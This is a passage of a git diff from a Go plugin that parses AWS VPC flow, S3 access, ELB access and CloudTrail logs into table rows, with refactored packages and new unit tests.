time.Parse(time.RFC3339, field) if err != nil { @@ -205,9 +180,10 @@ func FlowLogFromString(rowString string, schema []string) (*AwsVpcFlowLog, error case "ecs-task-id": flowLog.ECSTaskID = &field default: - return nil, fmt.Errorf("unknown field: %s", schema[i]) + return nil, fmt.Errorf("unknown field: %s", c.schema[i]) } } - return flowLog, nil + return []*rows.VpcFlowLog{flowLog}, nil + } diff --git a/mappers/s3_server_access_log_mapper.go b/mappers/s3_server_access_log_mapper.go deleted file mode 100644 index 07b3533a..00000000 --- a/mappers/s3_server_access_log_mapper.go +++ /dev/null @@ -1,57 +0,0 @@ -package mappers - -import ( - "context" - "fmt" - - "github.com/satyrius/gonx" - "github.com/turbot/tailpipe-plugin-sdk/types" -) - -const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` -const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` - -type S3ServerAccessLogMapper struct { - fullParser *gonx.Parser - reducedParser *gonx.Parser -} - -func NewS3ServerAccessLogMapper() *S3ServerAccessLogMapper { - return &S3ServerAccessLogMapper{ - fullParser: gonx.NewParser(s3ServerAccessLogFormat), - reducedParser: gonx.NewParser(s3ServerAccessLogFormatReduced), - } -} - -func (c *S3ServerAccessLogMapper) Identifier() string { - return "s3_server_access_log_mapper" -} - -func (c *S3ServerAccessLogMapper) Map(ctx context.Context, a *types.RowData) ([]*types.RowData, error) { - var out []*types.RowData - var parsed *gonx.Entry - var err error - - // validate input type is string - input, ok := a.Data.(string) - if !ok { - return nil, fmt.Errorf("expected string, got %T", a.Data) - } - inputMetadata := a.Metadata - - // parse log line - parsed, err = c.fullParser.ParseString(input) - if err != nil { - parsed, err = c.reducedParser.ParseString(input) - if err != nil { - return nil, fmt.Errorf("error parsing log line: %w", err) - } - } - - fields := make(map[string]string) - - fields = parsed.Fields() - out = append(out, types.NewData(fields, types.WithMetadata(inputMetadata))) - - return out, nil -} diff --git a/models/elb_access_log.go b/models/elb_access_log.go deleted file mode 100644 index dd611956..00000000 --- a/models/elb_access_log.go +++ /dev/null @@ -1,44 +0,0 @@ -package models - -import ( - "time" - - "github.com/turbot/tailpipe-plugin-sdk/enrichment" -) - -type AwsElbAccessLog struct { - enrichment.CommonFields - - Type string `json:"type"` - Timestamp time.Time `json:"timestamp"` - Elb string `json:"elb"` - ClientIP string `json:"client_ip"` - ClientPort int `json:"client_port"` - TargetIP *string `json:"target_ip,omitempty"` - TargetPort int `json:"target_port,omitempty"` - RequestProcessingTime float64 `json:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time"` - ResponseProcessingTime float64 `json:"response_processing_time"` - ElbStatusCode *int `json:"elb_status_code,omitempty"` - TargetStatusCode *int `json:"target_status_code,omitempty"` - ReceivedBytes *int64 `json:"received_bytes"` - SentBytes *int64 `json:"sent_bytes"` - Request string `json:"request"` - UserAgent string `json:"user_agent"` - SslCipher string `json:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn"` - TraceID string `json:"trace_id"` - DomainName string `json:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time"` - ActionsExecuted string `json:"actions_executed"` - RedirectURL *string `json:"redirect_url,omitempty"` - ErrorReason *string `json:"error_reason,omitempty"` - TargetList *string `json:"target_list,omitempty"` - TargetStatusList *string `json:"target_status_list,omitempty"` - Classification *string `json:"classification,omitempty"` - ClassificationReason *string `json:"classification_reason,omitempty"` - ConnTraceID string `json:"conn_trace_id"` -} diff --git a/models/cloudtrail.go b/rows/cloudtrail.go similarity index 97% rename from models/cloudtrail.go rename to rows/cloudtrail.go index b62ec552..faec7f06 100644 --- a/models/cloudtrail.go +++ b/rows/cloudtrail.go @@ -1,15 +1,15 @@ -package models +package rows import ( "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" ) -type AWSCloudTrailBatch struct { - Records []AWSCloudTrail `json:"Records"` +type CloudTrailBatch struct { + Records []CloudTrailLog `json:"Records"` } -type AWSCloudTrail struct { +type CloudTrailLog struct { // embed required enrichment fields (be sure to skip in parquet) enrichment.CommonFields diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go new file mode 100644 index 00000000..06d46d69 --- /dev/null +++ b/rows/elb_access_log.go @@ -0,0 +1,186 @@ +package rows + +import ( + "fmt" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type ElbAccessLog struct { + enrichment.CommonFields + + Type string `json:"type" column:"type"` + Timestamp time.Time `json:"timestamp" column:"timestamp"` + Elb string `json:"elb" column:"elb"` + ClientIP string `json:"client_ip" column:"client"` + ClientPort int `json:"client_port" column:"client_port"` + TargetIP *string `json:"target_ip,omitempty" column:"target"` + TargetPort int `json:"target_port,omitempty" column:"target_port"` + RequestProcessingTime float64 `json:"request_processing_time" column:"request_processing_time"` + TargetProcessingTime float64 `json:"target_processing_time" column:"target_processing_time"` + ResponseProcessingTime float64 `json:"response_processing_time" column:"response_processing_time"` + ElbStatusCode *int `json:"elb_status_code,omitempty" column:"elb_status_code"` + TargetStatusCode *int `json:"target_status_code,omitempty" column:"target_status_code"` + ReceivedBytes *int64 `json:"received_bytes" column:"received_bytes"` + SentBytes *int64 `json:"sent_bytes" column:"sent_bytes"` + Request string `json:"request" column:"request"` + UserAgent string `json:"user_agent" column:"user_agent"` + SslCipher string `json:"ssl_cipher" column:"ssl_cipher"` + SslProtocol string `json:"ssl_protocol" column:"ssl_protocol"` + TargetGroupArn string `json:"target_group_arn" column:"target_group_arn"` + TraceID string `json:"trace_id" column:"trace_id"` + DomainName string `json:"domain_name" column:"domain_name"` + ChosenCertArn string `json:"chosen_cert_arn" column:"chosen_cert_arn"` + MatchedRulePriority int `json:"matched_rule_priority" column:"matched_rule_priority"` + RequestCreationTime time.Time `json:"request_creation_time" column:"request_creation_time"` + ActionsExecuted string `json:"actions_executed" column:"actions_executed"` + RedirectURL *string `json:"redirect_url,omitempty" column:"redirect_url"` + ErrorReason *string `json:"error_reason,omitempty" column:"error_reason"` + TargetList *string `json:"target_list,omitempty" column:"target_list"` + TargetStatusList *string `json:"target_status_list,omitempty" column:"target_status_list"` + Classification *string `json:"classification,omitempty" column:"classification"` + ClassificationReason *string `json:"classification_reason,omitempty" column:"classification_reason"` + ConnTraceID string `json:"conn_trace_id" column:"conn_trace_id"` +} + +func NewElbAccessLog() *ElbAccessLog { + return &ElbAccessLog{} +} + +// InitialiseFromMap - initialise the struct from a map +func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { + for key, value := range m { + switch key { + case "timestamp": + ts, err := time.Parse(time.RFC3339, value) + if err != nil { + return fmt.Errorf("error parsing timestamp: %w", err) + } + l.Timestamp = ts + l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + case "type": + l.Type = value + case "elb": + l.Elb = value + case "client": + if value != "-" && strings.Contains(value, ":") { + ip := strings.Split(value, ":")[0] + l.ClientIP = ip + // TODO MOVE TO ENRICH + l.TpSourceIP = &ip + l.TpIps = append(l.TpIps, ip) + l.ClientPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) + } + case "target": + if value != "-" && strings.Contains(value, ":") { + ip := strings.Split(value, ":")[0] + l.TargetIP = &ip + l.TpDestinationIP = &ip + l.TpIps = append(l.TpIps, ip) + l.TargetPort, _ = strconv.Atoi(strings.Split(value, ":")[1]) + } + case "request_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing request_processing_time: %w", err) + } + l.RequestProcessingTime = rpt + case "target_processing_time": + tpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing target_processing_time: %w", err) + } + l.TargetProcessingTime = tpt + case "response_processing_time": + rpt, err := strconv.ParseFloat(value, 64) + if err != nil { + return fmt.Errorf("error parsing response_processing_time: %w", err) + } + l.ResponseProcessingTime = rpt + case "elb_status_code": + if value != "-" { + esc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing elb_status_code: %w", err) + } + l.ElbStatusCode = &esc + } + case "target_status_code": + if value != "-" { + tsc, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing target_status_code: %w", err) + } + l.TargetStatusCode = &tsc + } + case "received_bytes": + if value != "-" { + rb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing received_bytes: %w", err) + } + l.ReceivedBytes = &rb + } + case "sent_bytes": + if value != "-" { + sb, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing sent_bytes: %w", err) + } + l.SentBytes = &sb + } + case "request": + l.Request = value + case "user_agent": + l.UserAgent = value + case "ssl_cipher": + l.SslCipher = value + case "ssl_protocol": + l.SslProtocol = value + case "target_group_arn": + l.TargetGroupArn = value + case "trace_id": + l.TraceID = value + case "domain_name": + l.DomainName = value + l.TpDomains = append(l.TpDomains, value) + case "chosen_cert_arn": + l.ChosenCertArn = value + case "matched_rule_priority": + if value != "-" { + mrp, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing matched_rule_priority: %w", err) + } + l.MatchedRulePriority = mrp + } + case "request_creation_time": + rct, err := time.Parse(time.RFC3339, value) + if err != nil { + return fmt.Errorf("error parsing request_creation_time: %w", err) + } + l.RequestCreationTime = rct + case "actions_executed": + l.ActionsExecuted = value + case "redirect_url": + l.RedirectURL = &value + case "error_reason": + l.ErrorReason = &value + case "target_list": + l.TargetList = &value + case "target_status_list": + l.TargetStatusList = &value + case "classification": + l.Classification = &value + case "classification_reason": + l.ClassificationReason = &value + case "conn_trace_id": + l.ConnTraceID = value + } + } + return nil +} diff --git a/rows/elb_access_log_test.go b/rows/elb_access_log_test.go new file mode 100644 index 00000000..2e4bf254 --- /dev/null +++ b/rows/elb_access_log_test.go @@ -0,0 +1,220 @@ +package rows + +import ( + "github.com/google/go-cmp/cmp" + "github.com/google/go-cmp/cmp/cmpopts" + "github.com/stretchr/testify/assert" + "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "testing" + "time" +) + +func TestAwsElbAccessLog_InitialiseFromMap(t *testing.T) { + + type args struct { + m map[string]string + } + tests := []struct { + name string + want *ElbAccessLog + args args + wantErr assert.ErrorAssertionFunc + }{ + { + name: "All valid fields", + args: args{ + m: map[string]string{ + "timestamp": "2021-07-01T00:00:00Z", + "type": "type", + "elb": "elb", + "client": "198.51.100.1:100", + "target": "198.51.100.2:200", + "request_processing_time": "99.9", + "target_processing_time": "55.5", + "response_processing_time": "33.3", + "elb_status_code": "200", + "target_status_code": "200", + "received_bytes": "100", + "sent_bytes": "100", + "request": "request", + "user_agent": "agent", + "ssl_cipher": "sahr4098ewrjofdsjkdsf", + "ssl_protocol": "SSLv3", + "target_group_arn": "arn:partition:service:region:account-id:resource", + "trace_id": "trace", + "domain_name": "domain", + "chosen_cert_arn": "arn:partition:service:region:account-id:resource", + "matched_rule_priority": "1", + "request_creation_time": "2021-07-01T00:00:00Z", + "actions_executed": "actions", + "redirect_url": "https://myapp.example.com/auth/callback?code=AUTH_CODE", + "error_reason": "reason", + "target_list": "list", + "target_status_list": "list", + "classification": "x", + "classification_reason": "reason", + "conn_trace_id": "abcd", + }, + }, + + want: &ElbAccessLog{ + + Type: "type", + Timestamp: time.Date(2021, 07, 01, 00, 00, 00, 00, time.UTC), + Elb: "elb", + ClientIP: "198.51.100.1", + ClientPort: 100, + TargetIP: utils.ToStringPointer("198.51.100.2"), + TargetPort: 200, + RequestProcessingTime: 99.9, + TargetProcessingTime: 55.5, + ResponseProcessingTime: 33.3, + ElbStatusCode: utils.ToPointer(200), + TargetStatusCode: utils.ToPointer(200), + ReceivedBytes: utils.ToPointer(int64(100)), + SentBytes: utils.ToPointer(int64(100)), + Request: "request", + UserAgent: "agent", + SslCipher: "sahr4098ewrjofdsjkdsf", + SslProtocol: "SSLv3", + TargetGroupArn: "arn:partition:service:region:account-id:resource", + TraceID: "trace", + DomainName: "domain", + ChosenCertArn: "arn:partition:service:region:account-id:resource", + MatchedRulePriority: 1, + RequestCreationTime: time.Date(2021, 07, 01, 00, 00, 00, 00, time.UTC), + ActionsExecuted: "actions", + RedirectURL: utils.ToStringPointer("https://myapp.example.com/auth/callback?code=AUTH_CODE"), + ErrorReason: utils.ToStringPointer("reason"), + TargetList: utils.ToStringPointer("list"), + TargetStatusList: utils.ToStringPointer("list"), + Classification: utils.ToStringPointer("x"), + ClassificationReason: utils.ToStringPointer("reason"), + ConnTraceID: "abcd", + }, + wantErr: assert.NoError, + }, + { + name: "Invalid timestamp", + args: args{ + m: map[string]string{ + "timestamp": "invalid", + }, + }, + wantErr: assert.Error, + }, + //{ + // name: "Non string map value", + // args: args{ + // m: map[string]string{ + // "timestamp": 1, + // }, + // }, + // wantErr: assert.Error, + //}, + { + name: "Invalid request_processing_time", + args: args{ + m: map[string]string{ + "request_processing_time": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid target_processing_time", + args: args{ + m: map[string]string{ + "target_processing_time": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid response_processing_time", + args: args{ + m: map[string]string{ + "response_processing_time": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid elb_status_code", + args: args{ + m: map[string]string{ + "elb_status_code": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid target_status_code", + args: args{ + m: map[string]string{ + "target_status_code": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid received_bytes", + args: args{ + + m: map[string]string{ + "received_bytes": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid sent_bytes", + args: args{ + m: map[string]string{ + "sent_bytes": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid matched_rule_priority", + args: args{ + m: map[string]string{ + "matched_rule_priority": "invalid", + }, + }, + wantErr: assert.Error, + }, + { + name: "Invalid request_creation_time", + args: args{ + m: map[string]string{ + "request_creation_time": "invalid", + }, + }, + wantErr: assert.Error, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + l := &ElbAccessLog{} + err := l.InitialiseFromMap(tt.args.m) + // Check if the error assertion passes or fails + if !tt.wantErr(t, err, "InitialiseFromMap()") { + // Stop immediately if error assertion fails + t.FailNow() + } + if err != nil { + return + } + // Tactical - ignore tp fields + l.CommonFields = enrichment.CommonFields{} + equal := cmp.Equal(l, tt.want, cmpopts.IgnoreUnexported(ElbAccessLog{})) + if !equal { + t.Errorf("InitialiseFromMap() = %v, want %v", l, tt.want) + } + }) + } +} diff --git a/models/lambda_log.go b/rows/lambda_log.go similarity index 97% rename from models/lambda_log.go rename to rows/lambda_log.go index 7ec6486d..b6291904 100644 --- a/models/lambda_log.go +++ b/rows/lambda_log.go @@ -1,4 +1,4 @@ -package models +package rows import ( "time" diff --git a/rows/s3_server_access_log.go b/rows/s3_server_access_log.go new file mode 100644 index 00000000..3a05bb06 --- /dev/null +++ b/rows/s3_server_access_log.go @@ -0,0 +1,174 @@ +package rows + +import ( + "fmt" + "github.com/turbot/tailpipe-plugin-sdk/helpers" + "strconv" + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type S3ServerAccessLog struct { + enrichment.CommonFields + + BucketOwner string `json:"bucket_owner"` + Bucket string `json:"bucket"` + Timestamp time.Time `json:"timestamp"` + RemoteIP string `json:"remote_ip"` + Requester string `json:"requester"` + RequestID string `json:"request_id"` + Operation string `json:"operation"` + Key *string `json:"key,omitempty"` + RequestURI *string `json:"request_uri,omitempty"` + HTTPStatus *int `json:"http_status,omitempty"` + ErrorCode *string `json:"error_code,omitempty"` + BytesSent *int64 `json:"bytes_sent,omitempty"` + ObjectSize *int64 `json:"object_size,omitempty"` + TotalTime *int `json:"total_time,omitempty"` + TurnAroundTime *int `json:"turn_around_time,omitempty"` + Referer *string `json:"referer,omitempty"` + UserAgent *string `json:"user_agent,omitempty"` + VersionID *string `json:"version_id,omitempty"` + HostID *string `json:"host_id,omitempty"` + SignatureVersion *string `json:"signature_version,omitempty"` + CipherSuite *string `json:"cipher_suite,omitempty"` + AuthenticationType *string `json:"authentication_type,omitempty"` + HostHeader *string `json:"host_header,omitempty"` + TLSVersion *string `json:"tls_version,omitempty"` + AccessPointArn *string `json:"access_point_arn,omitempty"` + AclRequired *bool `json:"acl_required,omitempty"` +} + +func NewS3ServerAccessLog() *S3ServerAccessLog { + return &S3ServerAccessLog{} +} + +func (l *S3ServerAccessLog) InitialiseFromMap(m map[string]string) error { + for key, value := range m { + switch key { + case "bucket_owner": + l.BucketOwner = value + case "bucket": + l.Bucket = value + case "timestamp": + ts, err := time.Parse("02/Jan/2006:15:04:05 -0700", value) + if err != nil { + return fmt.Errorf("error parsing timestamp: %w", err) + } + l.Timestamp = ts + l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + case "remote_ip": + l.RemoteIP = value + l.TpSourceIP = &value + l.TpIps = append(l.TpIps, value) + case "requester": + l.Requester = value + case "request_id": + l.RequestID = value + case "operation": + l.Operation = value + case "key": + if value != "-" { + l.Key = &value + } + case "request_uri": + if value != "-" { + l.RequestURI = &value + } + case "http_status": + if value != "-" { + hs, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing http_status: %w", err) + } + l.HTTPStatus = &hs + } + case "error_code": + if value != "-" { + l.ErrorCode = &value + } + case "bytes_sent": + if value != "-" { + bs, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing bytes_sent: %w", err) + } + l.BytesSent = &bs + } + case "object_size": + if value != "-" { + os, err := strconv.ParseInt(value, 10, 64) + if err != nil { + return fmt.Errorf("error parsing object_size: %w", err) + } + l.ObjectSize = &os + } + case "total_time": + if value != "-" { + tt, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing total_time: %w", err) + } + l.TotalTime = &tt + } + case "turn_around_time": + if value != "-" { + tat, err := strconv.Atoi(value) + if err != nil { + return fmt.Errorf("error parsing turn_around_time: %w", err) + } + l.TurnAroundTime = &tat + } + case "referer": + if value != "-" { + l.Referer = &value + } + case "user_agent": + if value != "-" { + l.UserAgent = &value + } + case "version_id": + if value != "-" { + l.VersionID = &value + } + case "host_id": + if value != "-" { + l.HostID = &value + } + case "signature_version": + if value != "-" { + l.SignatureVersion = &value + } + case "cipher_suite": + if value != "-" { + l.CipherSuite = &value + } + case "authentication_type": + if value != "-" { + l.AuthenticationType = &value + } + case "host_header": + if value != "-" { + l.HostHeader = &value + } + case "tls_version": + if value != "-" { + l.TLSVersion = &value + } + case "access_point_arn": + if value != "-" { + l.AccessPointArn = &value + } + case "acl_required": + if value != "-" { + b := true + l.AclRequired = &b + } else { + b := false + l.AclRequired = &b + } + } + } + return nil +} diff --git a/rows/vpc_flow_log.go b/rows/vpc_flow_log.go new file mode 100644 index 00000000..7f764563 --- /dev/null +++ b/rows/vpc_flow_log.go @@ -0,0 +1,53 @@ +package rows + +import ( + "github.com/turbot/tailpipe-plugin-sdk/enrichment" + "time" +) + +// TODO is there an existing amazon sdk type we can use +type VpcFlowLog struct { + // embed required enrichment fields (be sure to skip in parquet) + enrichment.CommonFields + + Timestamp *time.Time `json:"timestamp,omitempty"` + Version *int32 `json:"version,omitempty"` + AccountID *string `json:"account_id,omitempty"` + InterfaceID *string `json:"interface_id,omitempty"` + SrcAddr *string `json:"src_addr,omitempty"` + DstAddr *string `json:"dst_addr,omitempty"` + SrcPort *int32 `json:"src_port,omitempty"` + DstPort *int32 `json:"dst_port,omitempty"` + Protocol *int32 `json:"protocol,omitempty"` + Packets *int64 `json:"packets,omitempty"` + Bytes *int64 `json:"bytes,omitempty"` + Start *int64 `json:"start,omitempty"` + End *int64 `json:"end,omitempty"` + Action *string `json:"action,omitempty"` + LogStatus *string `json:"log_status,omitempty"` + VPCID *string `json:"vpc_id,omitempty"` + SubnetID *string `json:"subnet_id,omitempty"` + InstanceID *string `json:"instance_id,omitempty"` + TCPFlags *int32 `json:"tcp_flags,omitempty"` + Type *string `json:"type,omitempty"` + PktSrcAddr *string `json:"pkt_src_addr,omitempty"` + PktDstAddr *string `json:"pkt_dst_addr,omitempty"` + Region *string `json:"region,omitempty"` + AzID *string `json:"az_id,omitempty"` + SublocationType *string `json:"sublocation_type,omitempty"` + SublocationID *string `json:"sublocation_id,omitempty"` + PktSrcAWSService *string `json:"pkt_src_aws_service,omitempty"` + PktDstAWSService *string `json:"pkt_dst_aws_service,omitempty"` + FlowDirection *string `json:"flow_direction,omitempty"` + TrafficPath *int32 `json:"traffic_path,omitempty"` + ECSClusterARN *string `json:"ecs_cluster_arn,omitempty"` + ECSClusterName *string `json:"ecs_cluster_name,omitempty"` + ECSContainerInstanceARN *string `json:"ecs_container_instance_arn,omitempty"` + ECSContainerInstanceID *string `json:"ecs_container_instance_id,omitempty"` + ECSContainerID *string `json:"ecs_container_id,omitempty"` + ECSSecondContainerID *string `json:"ecs_second_container_id,omitempty"` + ECSServiceName *string `json:"ecs_service_name,omitempty"` + ECSTaskDefinitionARN *string `json:"ecs_task_definition_arn,omitempty"` + ECSTaskARN *string `json:"ecs_task_arn,omitempty"` + ECSTaskID *string `json:"ecs_task_id,omitempty"` +} diff --git a/models/vpc_flow_log_test.go b/rows/vpc_flow_log_test.go similarity index 93% rename from models/vpc_flow_log_test.go rename to rows/vpc_flow_log_test.go index d0fe4979..a6573de7 100644 --- a/models/vpc_flow_log_test.go +++ b/rows/vpc_flow_log_test.go @@ -1,4 +1,4 @@ -package models +package rows import ( "github.com/turbot/pipe-fittings/utils" @@ -14,7 +14,7 @@ func TestFlowLogFromString(t *testing.T) { tests := []struct { name string args args - want *AwsVpcFlowLog + want *VpcFlowLog wantErr bool }{ { @@ -27,7 +27,7 @@ func TestFlowLogFromString(t *testing.T) { "interface-id", }, }, - want: &AwsVpcFlowLog{ + want: &VpcFlowLog{ Version: utils.ToPointer[int32](2), AccountID: utils.ToStringPointer("123456789012"), InterfaceID: utils.ToStringPointer("eni-1235b8ca"), diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index ea1f5b91..4158ac89 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -1,14 +1,15 @@ package tables import ( - "fmt" - "github.com/turbot/tailpipe-plugin-aws/models" + "context" "strings" "time" "github.com/rs/xid" "github.com/turbot/pipe-fittings/utils" + "github.com/turbot/tailpipe-plugin-aws/config" "github.com/turbot/tailpipe-plugin-aws/mappers" + "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" @@ -16,18 +17,36 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" + "github.com/turbot/tailpipe-plugin-sdk/types" ) -// CloudTrailLogTable - table for CloudTrail logs +// CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct { - // all tables must embed table.TableBase - table.TableBase[*CloudTrailLogTableConfig] + // all tables must embed table.TableImpl + table.TableImpl[rows.CloudTrailLog, *CloudTrailLogTableConfig, *config.AwsConnection] } func NewCloudTrailLogTable() table.Table { return &CloudTrailLogTable{} } +func (c *CloudTrailLogTable) Init(ctx context.Context, connectionSchemaProvider table.ConnectionSchemaProvider, req *types.CollectRequest) error { + // call base init + if err := c.TableImpl.Init(ctx, connectionSchemaProvider, req); err != nil { + return err + } + + c.initMapper() + return nil +} + +func (c *CloudTrailLogTable) initMapper() { + // TODO switch on source + + // if the source is an artifact source, we need a mapper + c.Mapper = mappers.NewCloudtrailMapper() +} + // Identifier implements table.Table func (c *CloudTrailLogTable) Identifier() string { return "aws_cloudtrail_log" @@ -35,19 +54,14 @@ func (c *CloudTrailLogTable) Identifier() string { // GetSourceOptions returns any options which should be passed to the given source type func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - var opts = []row_source.RowSourceOption{ - // if the source is an artifact source, we need a mapper - // NOTE: WithArtifactMapper option will ONLY apply if the RowSource IS an ArtifactSource - // TODO #design we may be able to remove the need for this if we can handle JSON generically - artifact_source.WithArtifactMapper(mappers.NewCloudtrailMapper()), - } + var opts []row_source.RowSourceOption switch sourceType { case artifact_source.AwsS3BucketSourceIdentifier: // the default file layout for Cloudtrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ // TODO #config finalise default cloudtrail file layout - FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), + FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrailLog/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})S(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), } opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig)) } @@ -57,7 +71,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro // GetRowSchema implements table.Table func (c *CloudTrailLogTable) GetRowSchema() any { - return models.AWSCloudTrail{} + return rows.CloudTrailLog{} } func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { @@ -65,95 +79,43 @@ func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { } // EnrichRow implements table.Table -func (c *CloudTrailLogTable) EnrichRow(row any, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - // row must be an AWSCloudTrail - record, ok := row.(models.AWSCloudTrail) - if !ok { - return nil, fmt.Errorf("invalid row type %T, expected AWSCloudTrail", row) - } - +func (c *CloudTrailLogTable) EnrichRow(row rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { - record.CommonFields = *sourceEnrichmentFields + row.CommonFields = *sourceEnrichmentFields } // Record standardization - record.TpID = xid.New().String() - record.TpSourceType = "aws_cloudtrail_log" - record.TpTimestamp = record.EventTime - record.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - if record.SourceIPAddress != nil { - record.TpSourceIP = record.SourceIPAddress - record.TpIps = append(record.TpIps, *record.SourceIPAddress) + row.TpID = xid.New().String() + row.TpSourceType = "aws_cloudtrail_log" + row.TpTimestamp = row.EventTime + row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + if row.SourceIPAddress != nil { + row.TpSourceIP = row.SourceIPAddress + row.TpIps = append(row.TpIps, *row.SourceIPAddress) } - for _, resource := range record.Resources { + for _, resource := range row.Resources { if resource.ARN != nil { newAkas := awsAkasFromArn(*resource.ARN) - record.TpAkas = append(record.TpAkas, newAkas...) + row.TpAkas = append(row.TpAkas, newAkas...) } } // If it's an AKIA, then record that as an identity. Do not record ASIA* // keys etc. - if record.UserIdentity.AccessKeyId != nil { - if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) + if row.UserIdentity.AccessKeyId != nil { + if strings.HasPrefix(*row.UserIdentity.AccessKeyId, "AKIA") { + row.TpUsernames = append(row.TpUsernames, *row.UserIdentity.AccessKeyId) } } - if record.UserIdentity.UserName != nil { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) + if row.UserIdentity.UserName != nil { + row.TpUsernames = append(row.TpUsernames, *row.UserIdentity.UserName) } // Hive fields - record.TpPartition = "default" // TODO - should be based on the definition in HCL - record.TpIndex = record.RecipientAccountId + row.TpPartition = "default" // TODO - should be based on the definition in HCL + row.TpIndex = row.RecipientAccountId // convert to date in format yy-mm-dd - record.TpDate = time.UnixMilli(int64(record.EventTime)).Format("2006-01-02") - - return record, nil -} - -// awsAkasFromArn will extract key identifiers from an AWS ARN string. For example: -// * the full arn -// * the account ID -// * EC2 instance ID -// * S3 bucket name -// * EC2 volume ID - -func awsAkasFromArn(arn string) []string { - // Split the ARN into its components. - parts := strings.Split(arn, ":") - if len(parts) < 6 { - return []string{} - } - - // Extract the service name and the resource descriptor. - service := parts[2] - resourceDescriptor := parts[5] - accountID := parts[4] - - // Initialize a slice to hold the key elements. - keyElements := []string{arn} - if accountID != "" { - keyElements = append(keyElements, accountID) - } - - // Handle different services. - switch service { - case "s3": - // For S3, the resource descriptor is the bucket name. - keyElements = append(keyElements, resourceDescriptor) - case "ec2": - // For EC2, we need to further parse the resource descriptor. - if strings.HasPrefix(resourceDescriptor, "instance/") { - // Extract the instance ID for 